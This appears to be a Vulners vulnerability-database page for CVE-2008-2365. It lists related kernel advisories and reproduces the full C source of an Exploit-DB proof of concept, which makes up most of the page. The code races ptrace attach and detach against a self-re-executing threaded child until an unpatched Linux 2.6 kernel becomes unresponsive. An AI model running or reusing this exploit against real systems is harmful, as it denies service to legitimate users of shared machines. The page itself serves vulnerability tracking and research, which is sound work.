| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| CentOS 4 : kernel (CESA-2008:0508) | 2 Jul 200800:00 | – | nessus | |
| Oracle Linux 4 : kernel (ELSA-2008-0508) | 12 Jul 201300:00 | – | nessus | |
| RHEL 4 : kernel (RHSA-2008:0508) | 2 Jul 200800:00 | – | nessus | |
| Scientific Linux Security Update : kernel on SL4.x i386/x86_64 | 1 Aug 201200:00 | – | nessus | |
| Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : linux, linux-source-2.6.15/20/22 vulnerabilities (USN-625-1) | 17 Jul 200800:00 | – | nessus | |
| kernel security update | 27 Jun 200810:43 | – | centos | |
| CVE-2008-2365 | 25 Jun 200800:00 | – | circl | |
| CVE-2008-2365 | 30 Jun 200821:00 | – | cve | |
| CVE-2008-2365 | 30 Jun 200821:00 | – | cvelist | |
| Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1) | 25 Jun 200800:00 | – | exploitdb |
/*
source: https://www.securityfocus.com/bid/29945/info
The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.
Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users.
*/
/* This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any
damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute
it
freely. */
#ifdef __ia64__
#define ia64_fpreg ia64_fpreg_DISABLE
#define pt_all_user_regs pt_all_user_regs_DISABLE
#endif /* __ia64__ */
#include <sys/ptrace.h>
#ifdef __ia64__
#undef ia64_fpreg
#undef pt_all_user_regs
#endif /* __ia64__ */
#include <linux/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#if defined __i386__ || defined __x86_64__
#include <sys/debugreg.h>
#endif
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
/* WARNING: The real testing count is probably unbound. */
#define DEFAULT_TESTTIME 10 /* seconds */
static pid_t pid;
static void
cleanup (void)
{
if (pid != 0)
kill (pid, SIGKILL);
}
static void
handler_fail (int signo)
{
cleanup ();
signal (signo, SIG_DFL);
raise (signo);
}
static void *thread_func(void *argv0_pointer)
{
execl("/proc/self/exe", argv0_pointer, "child", NULL);
abort ();
/* NOTREACHED */
}
int main(int argc, const char *argv[])
{
char *testtime = getenv ("TESTTIME");
time_t testend = time (NULL) + (testtime != NULL ? atoi
(testtime)
:
DEFAULT_TESTTIME);
unsigned long loops;
pthread_t thread;
atexit (cleanup);
signal (SIGABRT, handler_fail);
signal (SIGINT, handler_fail);
if ((argc != 2 || strcmp (argv[1], "child") != 0) && (pid =
fork())) {
loops = 0;
do {
ptrace(PTRACE_ATTACH, pid, NULL, 0);
ptrace(PTRACE_DETACH, pid, NULL, 0);
loops++;
} while (time (NULL) < testend);
return 0;
}
if (pthread_create(&thread, NULL, thread_func, (void *)
argv[0]))
perror("pthread_create");
while (1)
pause();
/* NOTREACHED */
abort ();
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation